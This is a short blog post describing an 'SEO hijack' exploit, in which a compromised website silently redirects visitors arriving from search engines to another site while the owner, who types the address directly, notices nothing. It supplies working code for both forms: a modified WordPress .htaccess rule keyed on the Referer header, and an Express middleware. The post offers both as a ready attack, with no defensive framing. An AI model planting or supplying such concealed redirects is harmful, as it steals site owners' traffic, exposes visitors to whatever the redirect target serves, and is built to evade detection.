SEO hijack

Eran Goldman-Malka · January 1, 2018

I thought about an exploit of the dev team/ owner of a site.
The main way they enter the site is directly by writing the address.
But regular users use a search engine to search the site even after the first time.
So if we can hijack that traffic to another website, we can do it without the owner notice

The idea is to identify the referrer header and redirect the user or inject code to this traffic.

htaccess - wordpress/ php websites

For a new installation of WP, the .htaccess file look like this :

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

We’ll add to the .htaccess file two lines of code :

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{HTTP_REFERER} .
RewriteRule ^(.*)$ http://The_redirected_site.com [R=301,L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

Node.js with express4

We’ll add a middleware in app.js before the routes :

app.use('*', function (req, res, next) {
  if (typeof req.headers.referer !== 'undefined') {
    res.redirect('http://The_redirected_site.com')
  } else {
    next()
  }
})

References :
install lamp
fix lamp to php5
install WordPress

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